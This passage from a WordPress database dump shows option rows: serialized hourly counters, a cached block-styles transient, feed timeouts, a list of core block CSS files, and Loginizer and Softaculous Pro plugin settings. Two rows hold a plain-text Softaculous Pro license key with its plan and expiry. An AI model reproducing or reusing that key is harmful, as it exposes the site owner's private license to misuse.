787590800;a:1:{i:0;i:13;}i:1787594400;a:1:{i:0;i:5;}i:1787598000;a:1:{i:0;i:3;}i:1787601600;a:1:{i:0;i:3;}i:1787605200;a:1:{i:0;i:2;}i:1787608800;a:1:{i:0;i:4;}i:1787612400;a:1:{i:0;i:10;}i:1787616000;a:1:{i:0;i:4;}i:1787619600;a:1:{i:0;i:4;}i:1787623200;a:1:{i:0;i:4;}i:1787626800;a:1:{i:0;i:6;}i:1787630400;a:1:{i:0;i:5;}i:1787634000;a:1:{i:0;i:15;}i:1787637600;a:1:{i:0;i:18;}i:1787641200;a:1:{i:0;i:19;}i:1787644800;a:1:{i:0;i:17;}i:1787648400;a:1:{i:0;i:13;}i:1787652000;a:1:{i:0;i:18;}i:1787655600;a:1:{i:0;i:8;}i:1787659200;a:1:{i:0;i:11;}i:1787662800;a:1:{i:0;i:8;}i:1787666400;a:1:{i:0;i:14;}i:1787670000;a:1:{i:0;i:13;}i:1787673600;a:1:{i:0;i:7;}i:1787677200;a:1:{i:0;i:24;}i:1787680800;a:1:{i:0;i:15;}i:1787684400;a:1:{i:0;i:8;}i:1787688000;a:1:{i:0;i:20;}i:1787691600;a:1:{i:0;i:15;}i:1787695200;a:1:{i:0;i:8;}i:1787698800;a:1:{i:0;i:15;}i:1787702400;a:1:{i:0;i:10;}i:1787706000;a:1:{i:0;i:13;}i:1787709600;a:1:{i:0;i:15;}i:1787713200;a:1:{i:0;i:11;}i:1787716800;a:1:{i:0;i:12;}i:1787720400;a:1:{i:0;i:4;}i:1787724000;a:1:{i:0;i:2;}i:1787727600;a:1:{i:0;i:7;}i:1787731200;a:1:{i:0;i:3;}i:1787734800;a:1:{i:0;i:4;}i:1787738400;a:1:{i:0;i:21;}i:1787742000;a:1:{i:0;i:7;}i:1787745600;a:1:{i:0;i:2;}i:1787749200;a:1:{i:0;i:5;}i:1787752800;a:1:{i:0;i:3;}i:1787756400;a:1:{i:0;i:4;}i:1787760000;a:1:{i:0;i:1;}i:1787763600;a:1:{i:0;i:10;}i:1787767200;a:1:{i:0;i:4;}i:1787770800;a:1:{i:0;i:1;}i:1787774400;a:1:{i:0;i:5;}i:1787778000;a:1:{i:0;i:2;}i:1787781600;a:1:{i:0;i:5;}i:1787785200;a:1:{i:0;i:3;}i:1787788800;a:1:{i:0;i:3;}i:1787792400;a:1:{i:0;i:2;}i:1787796000;a:1:{i:0;i:5;}i:1787799600;a:1:{i:0;i:6;}i:1787803200;a:1:{i:0;i:7;}i:1787806800;a:1:{i:0;i:5;}i:1787810400;a:1:{i:0;i:15;}i:1787814000;a:1:{i:0;i:5;}i:1787817600;a:1:{i:0;i:9;}i:1787821200;a:1:{i:0;i:12;}i:1787824800;a:1:{i:0;i:29;}i:1787828400;a:1:{i:0;i:10;}i:1787832000;a:1:{i:0;i:13;}i:1787835600;a:1:{i:0;i:6;}i:1787839200;a:1:{i:0;i:7;}i:1787842800;a:1:{i:0;i:5;}i:1787846400;a:1:{i:0;i:11;}i:1787850000;a:1:{i:0;i:4;}i:1787853600;a:1:{i:0;i:12;}i:1787857200;a:1:{i:0;i:21;}i:1787860800;a:1:{i:0;i:14;}i:1787864400;a:1:{i:0;i:5;}i:1787868000;a:1:{i:0;i:6;}i:1787871600;a:1:{i:0;i:11;}i:1787875200;a:1:{i:0;i:6;}i:1787878800;a:1:{i:0;i:14;}i:1787882400;a:1:{i:0;i:9;}i:1787886000;a:1:{i:0;i:8;}i:1787889600;a:1:{i:0;i:7;}i:1787893200;a:1:{i:0;i:8;}i:1787896800;a:1:{i:0;i:9;}i:1787900400;a:1:{i:0;i:6;}i:1787904000;a:1:{i:0;i:18;}i:1787907600;a:1:{i:0;i:6;}i:1787911200;a:1:{i:0;i:6;}i:1787914800;a:1:{i:0;i:3;}i:1787918400;a:1:{i:0;i:8;}i:1787922000;a:1:{i:0;i:9;}i:1787925600;a:1:{i:0;i:8;}i:1787929200;a:1:{i:0;i:8;}i:1787932800;a:1:{i:0;i:21;}i:1787936400;a:1:{i:0;i:6;}i:1787940000;a:1:{i:0;i:3;}i:1787943600;a:1:{i:0;i:5;}i:1787947200;a:1:{i:0;i:4;}i:1787950800;a:1:{i:0;i:12;}i:1787954400;a:1:{i:0;i:11;}i:1787958000;a:1:{i:0;i:8;}i:1787961600;a:1:{i:0;i:7;}i:1787965200;a:1:{i:0;i:5;}i:1787968800;a:1:{i:0;i:8;}i:1787972400;a:1:{i:0;i:7;}i:1787976000;a:1:{i:0;i:23;}i:1787979600;a:1:{i:0;i:6;}i:1787983200;a:1:{i:0;i:10;}i:1787986800;a:1:{i:0;i:14;}i:1787990400;a:1:{i:0;i:3;}i:1787994000;a:1:{i:0;i:19;}i:1787997600;a:1:{i:0;i:16;}i:1788001200;a:1:{i:0;i:9;}i:1788004800;a:1:{i:0;i:4;}i:1788008400;a:1:{i:0;i:6;}i:1788012000;a:1:{i:0;i:6;}i:1788015600;a:1:{i:0;i:6;}i:1788019200;a:1:{i:0;i:6;}i:1788022800;a:1:{i:0;i:10;}i:1788026400;a:1:{i:0;i:5;}i:1788030000;a:1:{i:0;i:4;}i:1788033600;a:1:{i:0;i:5;}i:1788037200;a:1:{i:0;i:6;}i:1788040800;a:1:{i:0;i:2;}i:1788044400;a:1:{i:0;i:4;}i:1788048000;a:1:{i:0;i:1;}i:1788051600;a:1:{i:0;i:3;}i:1788055200;a:1:{i:0;i:1;}i:1788058800;a:1:{i:0;i:5;}i:1788062400;a:1:{i:0;i:5;}i:1788066000;a:1:{i:0;i:1;}i:1788069600;a:1:{i:0;i:2;}i:1788076800;a:1:{i:0;i:2;}i:1788080400;a:1:{i:0;i:5;}i:1788084000;a:1:{i:0;i:5;}i:1788087600;a:1:{i:0;i:16;}i:1788091200;a:1:{i:0;i:6;}i:1788094800;a:1:{i:0;i:3;}i:1788098400;a:1:{i:0;i:10;}i:1788102000;a:1:{i:0;i:17;}i:1788105600;a:1:{i:0;i:9;}i:1788109200;a:1:{i:0;i:5;}i:1788112800;a:1:{i:0;i:15;}i:1788116400;a:1:{i:0;i:21;}i:1788120000;a:1:{i:0;i:2;}i:1788123600;a:1:{i:0;i:6;}i:1788127200;a:1:{i:0;i:2;}i:1788130800;a:1:{i:0;i:2;}i:1788134400;a:1:{i:0;i:1;}i:1788138000;a:1:{i:0;i:11;}i:1788141600;a:1:{i:0;i:2;}i:1788145200;a:1:{i:0;i:5;}i:1788148800;a:1:{i:0;i:7;}i:1788152400;a:1:{i:0;i:2;}i:1788156000;a:1:{i:0;i:32;}i:1788159600;a:1:{i:0;i:10;}i:1788163200;a:1:{i:0;i:13;}i:1788166800;a:1:{i:0;i:13;}i:1788170400;a:1:{i:0;i:5;}i:1788174000;a:1:{i:0;i:9;}i:1788177600;a:1:{i:0;i:10;}i:1788181200;a:1:{i:0;i:9;}i:1788184800;a:1:{i:0;i:15;}i:1788188400;a:1:{i:0;i:5;}i:1788192000;a:1:{i:0;i:6;}i:1788195600;a:1:{i:0;i:5;}i:1788199200;a:1:{i:0;i:6;}i:1788202800;a:1:{i:0;i:10;}i:1788206400;a:1:{i:0;i:8;}i:1788210000;a:1:{i:0;i:5;}i:1788213600;a:1:{i:0;i:15;}i:1788217200;a:1:{i:0;i:9;}i:1788220800;a:1:{i:0;i:7;}i:1788224400;a:1:{i:0;i:9;}i:1788228000;a:1:{i:0;i:10;}i:1788231600;a:1:{i:0;i:9;}i:1788235200;a:1:{i:0;i:8;}i:1788238800;a:1:{i:0;i:3;}i:1788242400;a:1:{i:0;i:10;}i:1788246000;a:1:{i:0;i:4;}i:1788249600;a:1:{i:0;i:16;}i:1788253200;a:1:{i:0;i:13;}i:1788256800;a:1:{i:0;i:21;}i:1788260400;a:1:{i:0;i:7;}i:1788264000;a:1:{i:0;i:2;}i:1788267600;a:1:{i:0;i:3;}i:1788271200;a:1:{i:0;i:5;}i:1788274800;a:1:{i:0;i:8;}i:1788278400;a:1:{i:0;i:6;}i:1788282000;a:1:{i:0;i:10;}i:1788285600;a:1:{i:0;i:10;}i:1788289200;a:1:{i:0;i:2;}i:1788292800;a:1:{i:0;i:4;}i:1788296400;a:1:{i:0;i:8;}i:1788300000;a:1:{i:0;i:4;}i:1788303600;a:1:{i:0;i:9;}i:1788307200;a:1:{i:0;i:6;}i:1788310800;a:1:{i:0;i:5;}i:1788314400;a:1:{i:0;i:6;}i:1788318000;a:1:{i:0;i:6;}i:1788321600;a:1:{i:0;i:6;}i:1788325200;a:1:{i:0;i:3;}i:1788328800;a:1:{i:0;i:7;}i:1788332400;a:1:{i:0;i:11;}i:1788336000;a:1:{i:0;i:8;}i:1788339600;a:1:{i:0;i:2;}i:1788343200;a:1:{i:0;i:14;}i:1788346800;a:1:{i:0;i:8;}i:1788350400;a:1:{i:0;i:7;}i:1788354000;a:1:{i:0;i:4;}i:1788357600;a:1:{i:0;i:11;}i:1788361200;a:1:{i:0;i:2;}i:1788364800;a:1:{i:0;i:12;}i:1788372000;a:1:{i:0;i:4;}i:1788375600;a:1:{i:0;i:3;}i:1788382800;a:1:{i:0;i:1;}i:1788390000;a:1:{i:0;i:3;}i:1788393600;a:1:{i:0;i:9;}i:1788397200;a:1:{i:0;i:5;}i:1788408000;a:1:{i:0;i:7;}i:1788411600;a:1:{i:0;i:4;}i:1788418800;a:1:{i:0;i:10;}i:1788422400;a:1:{i:0;i:7;}i:1788426000;a:1:{i:0;i:10;}i:1788429600;a:1:{i:0;i:23;}i:1788433200;a:1:{i:0;i:56;}i:1788436800;a:1:{i:0;i:11;}i:1788440400;a:1:{i:0;i:9;}i:1788444000;a:1:{i:0;i:4;}i:1788447600;a:1:{i:0;i:3;}i:1788451200;a:1:{i:0;i:5;}i:1788454800;a:1:{i:0;i:4;}i:1788458400;a:1:{i:0;i:12;}i:1788462000;a:1:{i:0;i:6;}i:1788465600;a:1:{i:0;i:3;}i:1788469200;a:1:{i:0;i:6;}i:1788472800;a:1:{i:0;i:9;}i:1788476400;a:1:{i:0;i:9;}i:1788480000;a:1:{i:0;i:11;}i:1788483600;a:1:{i:0;i:4;}i:1788487200;a:1:{i:0;i:11;}i:1788490800;a:1:{i:0;i:4;}i:1788494400;a:1:{i:0;i:4;}i:1788498000;a:1:{i:0;i:30;}i:1788501600;a:1:{i:0;i:9;}i:1788505200;a:1:{i:0;i:15;}i:1788508800;a:1:{i:0;i:5;}i:1788512400;a:1:{i:0;i:5;}i:1788516000;a:1:{i:0;i:5;}i:1788519600;a:1:{i:0;i:3;}i:1788523200;a:1:{i:0;i:9;}i:1788526800;a:1:{i:0;i:83;}i:1788530400;a:1:{i:0;i:12;}i:1788534000;a:1:{i:0;i:9;}i:1788537600;a:1:{i:0;i:7;}i:1788541200;a:1:{i:0;i:3;}i:1788544800;a:1:{i:0;i:3;}i:1788548400;a:1:{i:0;i:4;}i:1788555600;a:1:{i:0;i:1;}i:1788562800;a:1:{i:0;i:6;}i:1788566400;a:1:{i:0;i:7;}i:1788573600;a:1:{i:0;i:3;}i:1788577200;a:1:{i:0;i:4;}i:1788580800;a:1:{i:0;i:13;}i:1788584400;a:1:{i:0;i:11;}i:1788588000;a:1:{i:0;i:10;}i:1788591600;a:1:{i:0;i:7;}i:1788595200;a:1:{i:0;i:13;}i:1788598800;a:1:{i:0;i:13;}i:1788602400;a:1:{i:0;i:8;}i:1788606000;a:1:{i:0;i:5;}i:1788609600;a:1:{i:0;i:4;}i:1788613200;a:1:{i:0;i:22;}i:1788616800;a:1:{i:0;i:19;}i:1788620400;a:1:{i:0;i:13;}i:1788624000;a:1:{i:0;i:12;}i:1788627600;a:1:{i:0;i:10;}i:1788631200;a:1:{i:0;i:17;}i:1788634800;a:1:{i:0;i:12;}i:1788638400;a:1:{i:0;i:3;}i:1788642000;a:1:{i:0;i:12;}i:1788645600;a:1:{i:0;i:10;}i:1788649200;a:1:{i:0;i:4;}i:1788652800;a:1:{i:0;i:5;}i:1788656400;a:1:{i:0;i:5;}i:1788660000;a:1:{i:0;i:5;}i:1788663600;a:1:{i:0;i:11;}i:1788667200;a:1:{i:0;i:8;}i:1788670800;a:1:{i:0;i:2;}i:1788674400;a:1:{i:0;i:9;}i:1788678000;a:1:{i:0;i:17;}i:1788681600;a:1:{i:0;i:10;}i:1788685200;a:1:{i:0;i:6;}i:1788688800;a:1:{i:0;i:11;}i:1788692400;a:1:{i:0;i:6;}i:1788696000;a:1:{i:0;i:3;}i:1788699600;a:1:{i:0;i:9;}i:1788703200;a:1:{i:0;i:2;}i:1788706800;a:1:{i:0;i:1;}i:1788710400;a:1:{i:0;i:2;}i:1788714000;a:1:{i:0;i:4;}i:1788717600;a:1:{i:0;i:1;}i:1788721200;a:1:{i:0;i:1;}i:1788724800;a:1:{i:0;i:1;}i:1788728400;a:1:{i:0;i:3;}i:1788735600;a:1:{i:0;i:1;}i:1788739200;a:1:{i:0;i:5;}i:1788742800;a:1:{i:0;i:4;}i:1788750000;a:1:{i:0;i:3;}i:1788753600;a:1:{i:0;i:25;}i:1788757200;a:1:{i:0;i:4;}i:1788760800;a:1:{i:0;i:5;}i:1788764400;a:1:{i:0;i:4;}i:1788768000;a:1:{i:0;i:13;}i:1788771600;a:1:{i:0;i:17;}i:1788775200;a:1:{i:0;i:8;}i:1788778800;a:1:{i:0;i:32;}i:1788782400;a:1:{i:0;i:19;}i:1788786000;a:1:{i:0;i:14;}i:1788789600;a:1:{i:0;i:10;}i:1788793200;a:1:{i:0;i:6;}i:1788796800;a:1:{i:0;i:4;}i:1788800400;a:1:{i:0;i:2;}i:1788804000;a:1:{i:0;i:2;}i:1788807600;a:1:{i:0;i:2;}i:1788811200;a:1:{i:0;i:3;}i:1788814800;a:1:{i:0;i:5;}i:1788818400;a:1:{i:0;i:3;}i:1788832800;a:1:{i:0;i:3;}i:1788836400;a:1:{i:0;i:6;}i:1788840000;a:1:{i:0;i:5;}i:1788843600;a:1:{i:0;i:7;}i:1788847200;a:1:{i:0;i:5;}i:1788850800;a:1:{i:0;i:3;}i:1788854400;a:1:{i:0;i:5;}i:1788858000;a:1:{i:0;i:12;}i:1788861600;a:1:{i:0;i:5;}i:1788865200;a:1:{i:0;i:9;}i:1788868800;a:1:{i:0;i:18;}i:1788872400;a:1:{i:0;i:21;}i:1788876000;a:1:{i:0;i:22;}i:1788879600;a:1:{i:0;i:16;}i:1788883200;a:1:{i:0;i:12;}i:1788886800;a:1:{i:0;i:4;}i:1788890400;a:1:{i:0;i:10;}i:1788894000;a:1:{i:0;i:68;}i:1788897600;a:1:{i:0;i:12;}i:1788901200;a:1:{i:0;i:4;}i:1788904800;a:1:{i:0;i:5;}i:1788908400;a:1:{i:0;i:2;}i:1788912000;a:1:{i:0;i:9;}i:1788915600;a:1:{i:0;i:8;}i:1788919200;a:1:{i:0;i:5;}i:1788922800;a:1:{i:0;i:9;}i:1788926400;a:1:{i:0;i:4;}i:1788930000;a:1:{i:0;i:12;}i:1788933600;a:1:{i:0;i:11;}i:1788937200;a:1:{i:0;i:18;}i:1788940800;a:1:{i:0;i:6;}i:1788944400;a:1:{i:0;i:8;}i:1788948000;a:1:{i:0;i:4;}i:1788951600;a:1:{i:0;i:4;}i:1788955200;a:1:{i:0;i:4;}i:1788962400;a:1:{i:0;i:11;}i:1788966000;a:1:{i:0;i:7;}i:1788969600;a:1:{i:0;i:9;}i:1788973200;a:1:{i:0;i:5;}i:1788976800;a:1:{i:0;i:1;}i:1788980400;a:1:{i:0;i:7;}i:1788984000;a:1:{i:0;i:5;}i:1788987600;a:1:{i:0;i:1;}i:1788994800;a:1:{i:0;i:407;}i:1788998400;a:1:{i:0;i:7;}i:1789002000;a:1:{i:0;i:60;}i:1789005600;a:1:{i:0;i:1;}i:1789009200;a:1:{i:0;i:14;}i:1789012800;a:1:{i:0;i:17;}i:1789016400;a:1:{i:0;i:4;}i:1789020000;a:1:{i:0;i:9;}i:1789023600;a:1:{i:0;i:8;}i:1789027200;a:1:{i:0;i:17;}i:1789030800;a:1:{i:0;i:4;}i:1789034400;a:1:{i:0;i:7;}i:1789038000;a:1:{i:0;i:1;}i:1789243200;a:1:{i:0;i:1;}i:1789246800;a:1:{i:0;i:2;}i:1789250400;a:1:{i:1;i:1;}i:1789261200;a:1:{i:0;i:69;}i:1789268400;a:1:{i:0;i:1;}i:1789272000;a:1:{i:0;i:3;}i:1789275600;a:1:{i:0;i:6;}i:1789279200;a:1:{i:0;i:9;}i:1789282800;a:1:{i:0;i:9;}i:1789286400;a:1:{i:0;i:3;}i:1789290000;a:1:{i:0;i:6;}i:1789293600;a:1:{i:0;i:12;}i:1789297200;a:1:{i:0;i:2;}i:1789300800;a:1:{i:0;i:1;}i:1789304400;a:1:{i:0;i:6;}i:1789308000;a:1:{i:0;i:9;}i:1789311600;a:1:{i:0;i:3;}i:1789315200;a:1:{i:0;i:3;}i:1789318800;a:1:{i:0;i:4;}i:1789322400;a:1:{i:0;i:6;}i:1789344000;a:1:{i:0;i:6;}i:1789347600;a:1:{i:0;i:3;}i:1789354800;a:1:{i:0;i:1;}i:1789358400;a:1:{i:0;i:9;}i:1789362000;a:1:{i:0;i:9;}i:1789365600;a:1:{i:0;i:8;}i:1789369200;a:1:{i:0;i:9;}i:1789372800;a:1:{i:0;i:4;}i:1789376400;a:1:{i:0;i:3;}i:1789380000;a:1:{i:0;i:3;}i:1789383600;a:1:{i:0;i:12;}i:1789387200;a:1:{i:0;i:12;}i:1789390800;a:1:{i:0;i:3;}i:1789394400;a:1:{i:0;i:3;}}','off'),
(227765,'wp_attachment_pages_enabled','1','yes'),
(254543,'_transient_wp_styles_for_blocks','a:2:{s:4:\"hash\";s:32:\"7ffdb1f65ea3014df29b5f700e0addfc\";s:6:\"blocks\";a:9:{s:32:\"832dc2d864d79097d8b8b493ad93453b\";s:0:\"\";s:32:\"45d3e0c4afcbd8cf25cb1ba51abfb3d7\";s:46:\":root :where(.wp-block-icon svg){width: 24px;}\";s:32:\"feca6e996f694be2d29599793228e0d7\";s:0:\"\";s:32:\"5eef131663eddaf830554df656fc2968\";s:324:\":where(.wp-block-gallery.is-layout-flex){gap: var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) );}:where(.wp-block-gallery.is-layout-grid){gap: var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) );}\";s:32:\"c99c05932c6685777ec5b856698fcc7d\";s:118:\":where(.wp-block-latest-posts.is-layout-flex){gap: 1.25em;}:where(.wp-block-latest-posts.is-layout-grid){gap: 1.25em;}\";s:32:\"dec8d648f30b13caec8e61374591787d\";s:120:\":where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}\";s:32:\"6c35533f7a92cce94808323603db9fc8\";s:120:\":where(.wp-block-term-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-term-template.is-layout-grid){gap: 1.25em;}\";s:32:\"6a0505cd5c78a87ed77570cda43c1132\";s:102:\":where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}\";s:32:\"25a66f156386551185570f72a9f7d44e\";s:69:\":root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}\";}}','on'),
(260718,'loginizer_softwp_upgrade','-1743102233','off'),
(269916,'softaculous_pro_license','a:13:{s:7:\"license\";s:30:\"SOFTWP-39381-52343-30283-41535\";s:7:\"expires\";s:8:\"20250323\";s:4:\"type\";s:1:\"1\";s:8:\"type_txt\";s:7:\"Premium\";s:9:\"num_sites\";N;s:4:\"plan\";s:8:\"personal\";s:6:\"active\";i:1;s:10:\"licexpired\";N;s:4:\"thid\";N;s:6:\"status\";i:1;s:9:\"last_edit\";s:10:\"1741213671\";s:10:\"status_txt\";s:33:\"<font color=\"green\">Active</font>\";s:8:\"has_plid\";i:1;}','yes'),
(269927,'loginizer_softwp_supgrade','a:4:{s:7:\"timeout\";i:4;s:10:\"next_check\";i:1743707033;s:10:\"softwp_lic\";s:30:\"SOFTWP-39381-52343-30283-41535\";s:10:\"reverified\";i:1;}','auto'),
(285593,'_transient_timeout_feed_9bbd59226dc36b9b26cd43f15694c5c3','1751607960','off'),
(285596,'_transient_timeout_feed_d117b5738fbd35bd8c0391cda1f2b5d9','1751607960','off'),
(285663,'_site_transient_timeout_g_url_details_response_a1410308ffe146d3c67f5b0453b882c5','1751578283','off'),
(305946,'wp_notes_notify','1','on'),
(305949,'_transient_wp_core_block_css_files','a:2:{s:7:\"version\";s:5:\"6.9.7\";s:5:\"files\";a:584:{i:0;s:31:\"accordion-heading/style-rtl.css\";i:1;s:35:\"accordion-heading/style-rtl.min.css\";i:2;s:27:\"accordion-heading/style.css\";i:3;s:31:\"accordion-heading/style.min.css\";i:4;s:28:\"accordion-item/style-rtl.css\";i:5;s:32:\"accordion-item/style-rtl.min.css\";i:6;s:24:\"accordion-item/style.css\";i:7;s:28:\"accordion-item/style.min.css\";i:8;s:29:\"accordion-panel/style-rtl.css\";i:9;s:33:\"accordion-panel/style-rtl.min.css\";i:10;s:25:\"accordion-panel/style.css\";i:11;s:29:\"accordion-panel/style.min.css\";i:12;s:23:\"accordion/style-rtl.css\";i:13;s:27:\"accordion/style-rtl.min.css\";i:14;s:19:\"accordion/style.css\";i:15;s:23:\"accordion/style.min.css\";i:16;s:23:\"archives/editor-rtl.css\";i:17;s:27:\"archives/editor-rtl.min.css\";i:18;s:19:\"archives/editor.css\";i:19;s:23:\"archives/editor.min.css\";i:20;s:22:\"archives/style-rtl.css\";i:21;s:26:\"archives/style-rtl.min.css\";i:22;s:18:\"archives/style.css\";i:23;s:22:\"archives/style.min.css\";i:24;s:20:\"audio/editor-rtl.css\";i:25;s:24:\"audio/editor-rtl.min.css\";i:26;s:16:\"audio/editor.css\";i:27;s:20:\"audio/editor.min.css\";i:28;s:19:\"audio/style-rtl.css\";i:29;s:23:\"audio/style-rtl.min.css\";i:30;s:15:\"audio/style.css\";i:31;s:19:\"audio/style.min.css\";i:32;s:19:\"audio/theme-rtl.css\";i:33;s:23:\"audio/theme-rtl.min.css\";i:34;s:15:\"audio/theme.css\";i:35;s:19:\"audio/theme.min.css\";i:36;s:21:\"avatar/editor-rtl.css\";i:37;s:25:\"avatar/editor-rtl.min.css\";i:38;s:17:\"avatar/editor.css\";i:39;s:21:\"avatar/editor.min.css\";i:40;s:20:\"avatar/style-rtl.css\";i:41;s:24:\"avatar/style-rtl.min.css\";i:42;s:16:\"avatar/style.css\";i:43;s:20:\"avatar/style.min.css\";i:44;s:21:\"button/editor-rtl.css\";i:45;s:25:\"button/editor-rtl.min.css\";i:46;s:17:\"button/editor.css\";i:47;s:21:\"button/editor.min.css\";i:48;s:20:\"button/style-rtl.css\";i:49;s:24:\"button/style-rtl.min.css\";i:50;s:16:\"button/style.css\";i:51;s:20:\"button/style.min.css\";i:52;s:22:\"buttons/editor-rtl.css\";i:53;s:26:\"buttons/editor-rtl.min.css\";i:54;s:18:\"buttons/editor.css\";i:55;s:22:\"buttons/editor.min.css\";i:56;s:21:\"buttons/style-rtl.css\";i:57;s:25:\"buttons/style-rtl.min.css\";i:58;s:17:\"buttons/style.css\";i:59;s:21:\"buttons/style.min.css\";i:60;s:22:\"calendar/style-rtl.css\";i:61;s:26:\"calendar/style-rtl.min.css\";i:62;s:18:\"calendar/style.css\";i:63;s:22:\"calendar/style.min.css\";i:64;s:25:\"categories/editor-rtl.css\";i:65;s:29:\"categories/editor-rtl.min.css\";i:66;s:21:\"categories/editor.css\";i:67;s:25:\"categories/editor.min.css\";i:68;s:24:\"categories/style-rtl.css\";i:69;s:28:\"categories/style-rtl.min.css\";i:70;s:20:\"categories/style.css\";i:71;s:24:\"categories/style.min.css\";i:72;s:19:\"code/editor-rtl.css\";i:73;s:23:\"code/editor-rtl.min.css\";i:74;s:15:\"code/editor.css\";i:75;s:19:\"code/editor.min.css\";i:76;s:18:\"code/style-rtl.css\";i:77;s:22:\"code/style-rtl.min.css\";i:78;s:14:\"code/style.css\";i:79;s:18:\"code/style.min.css\";i:80;s:18:\"code/theme-rtl.css\";i:81;s:22:\"code/theme-rtl.min.css\";i:82;s:14:\"code/theme.css\";i:83;s:18:\"code/theme.min.css\";i:84;s:22:\"columns/editor-rtl.css\";i:85;s:26:\"columns/editor-rtl.min.css\";i:86;s:18:\"columns/editor.css\";i:87;s:22:\"columns/editor.min.css\";i:88;s:21:\"columns/style-rtl.css\";i:89;s:25:\"columns/style-rtl.min.css\";i:90;s:17:\"columns/style.css\";i:91;s:21:\"columns/style.min.css\";i:92;s:33:\"comment-author-name/style-rtl.css\";i:93;s:37:\"comment-author-name/style-rtl.min.css\";i:94;s:29:\"comment-author-name/style.css\";i:95;s:33:\"comment-author-name/style.min.css\";i:96;s:29:\"comment-content/style-rtl.css\";i:97;s:33:\"comment-content/style-rtl.min.css\";i:98;s:25:\"comment-content/style.css\";i:99;s:29:\"comment-content/style.min.css\";i:100;s:26:\"comment-date/style-rtl.css\";i:101;s:30:\"comment-date/style-rtl.min.css\";i:102;s:22:\"comment-date/style.css\";i:103;s:26:\"comment-date/style.min.css\";i:104;s:31:\"comment-edit-link/style-rtl.css\";i:105;s:35:\"comment-edit-link/style-rtl.min.css\";i:106;s:27:\"comment-edit-link/style.css\";i:107;s:31:\"comment-edit-link/style.min.css\";i:108;s:32:\"comment-reply-link/style-rtl.css\";i:109;s:36:\"comment-reply-link/style-rtl.min.css\";i:110;s:28:\"comment-reply-link/style.css\";i:111;s:32:\"comment-reply-link/style.min.css\";i:112;s:30:\"comment-template/style-rtl.css\";i:113;s:34:\"comment-template/style-rtl.min.css\";i:114;s:26:\"comment-template/style.css\";i:115;s:30:\"comment-template/style.min.css\";i:116;s:42:\"comments-pagination-numbers/editor-rtl.css\";i:117;s:46:\"comments-pagination-numbers/editor-rtl.min.css\";i:118;s:38:\"comments-pagination-numbers/editor.css\";i:119;s:42:\"comments-pagination-numbers/editor.min.css\";i:120;s:34:\"comments-pagination/editor-rtl.css\";i:121;s:38:\"comments-pagination/editor-rtl.min.css\";i:122;s:30:\"comments-pagination/editor.css\";i:123;s:34:\"comments-pagination/editor.min.css\";i:124;s:33:\"comments-pagination/style-rtl.css\";i:125;s:37:\"comments-pagination/style-rtl.min.css\";i:126;s:29:\"comments-pagination/style.css\";i:127;s:33:\"comments-pagination/style.min.css\";i:128;s:29:\"comments-title/editor-rtl.css\";i:129;s:33:\"comments-title/editor-rtl.min.css\";i:130;s:25:\"comments-title/editor.css\";i:131;s:29:\"comments-title/editor.min.css\";i:132;s:23:\"comments/editor-rtl.css\";i:133;s:27:\"comments/editor-rtl.min.css\";i:134;s:19:\"comments/editor.css\";i:135;s:23:\"comments/editor.min.css\";i:136;s:22:\"comments/style-rtl.css\";i:137;s:26:\"comments/style-rtl.min.css\";i:138;s:18:\"comments/style.css\";i:139;s:22:\"comments/style.min.css\";i:140;s:20:\"cover/editor-rtl.css\";i:141;s:24:\"cover/editor-rtl.min.css\";i:142;s:16:\"cover/editor.css\";i:143;s:20:\"cover/editor.min.css\";i:144;s:19:\"cover/style-rtl.css\";i:145;s:23:\"cover/style-rtl.min.css\";i:146;s:15:\"cover/style.css\";i:147;s:19:\"cover/style.min.css\";i:148;s:22:\"details/editor-rtl.css\";i:149;s:26:\"details/editor-rtl.min.css\";i:150;s:18:\"details/editor.css\";i:151;s:22:\"details/editor.min.css\";i:152;s:21:\"details/style-rtl.css\";i:153;s:25:\"details/style-rtl.min.css\";i:154;s:17:\"details/style.css\";i:155;s:21:\"details/style.min.css\";i:156;s:20:\"embed/editor-rtl.css\";i:157;s:24:\"embed/editor-rtl.min.css\";i:158;s:16:\"embed/editor.css\";i:159;s:20:\"embed/editor.min.css\";i:160;s:19:\"embed/style-rtl.css\";i:161;s:23:\"embed/style-rtl.min.css\";i:162;s:15:\"embed/style.css\";i:163;s:19:\"embed/style.min.css\";i:164;s:19:\"embed/theme-rtl.css\";i:165;s:23:\"embed/theme-rtl.min.css\";i:166;s:15:\"embed/theme.css\";i:167;s:19:\"embed/theme.min.css\";i:168;s:19:\"file/editor-rtl.css\";i:169;s:23:\"file/editor-rtl.min.css\";i:170;s:15:\"file/editor.css\";i:171;s:19:\"file/editor.min.css\";i:172;s:18:\"file/style-rtl.css\";i:173;s:22:\"file/style-rtl.min.css\";i:174;s:14:\"file/style.css\";i:175;s:18:\"file/style.min.css\";i:176;s:23:\"footnotes/style-rtl.css\";i:177;s:27:\"footnotes/style-rtl.min.css\";i:178;s:19:\"footnotes/style.css\";i:179;s:23:\"footnotes/style.min.css\";i:180;s:23:\"freeform/editor-rtl.css\";i:181;s:27:\"freeform/editor-rtl.min.css\";i:182;s:19:\"freeform/editor.css\";i:183;s:23:\"freeform/editor.min.css\";i:184;s:22:\"gallery/editor-rtl.css\";i:185;s:26:\"gallery/editor-rtl.min.css\";i:186;s:18:\"gallery/editor.css\";i:187;s:22:\"gallery/editor.min.css\";i:188;s:21:\"gallery/style-rtl.css\";i:189;s:25:\"gallery/style-rtl.min.css\";i:190;s:17:\"gallery/style.css\";i:191;s:21:\"gallery/style.min.css\";i:192;s:21:\"gallery/theme-rtl.css\";i:193;s:25:\"gallery/theme-rtl.min.css\";i:194;s:17:\"gallery/theme.css\";i:195;s:21:\"gallery/theme.min.css\";i:196;s:20:\"group/editor-rtl.css\";i:197;s:24:\"group/editor-rtl.min.css\";i:198;s:16:\"group/editor.css\";i:199;s:20:\"group/editor.min.css\";i:200;s:19:\"group/style-rtl.css\";i:201;s:23:\"group/style-rtl.min.css\";i:202;s:15:\"group/style.css\";i:203;s:19:\"group/style.min.css\";i:204;s:19:\"group/theme-rtl.css\";i:205;s:23:\"group/theme-rt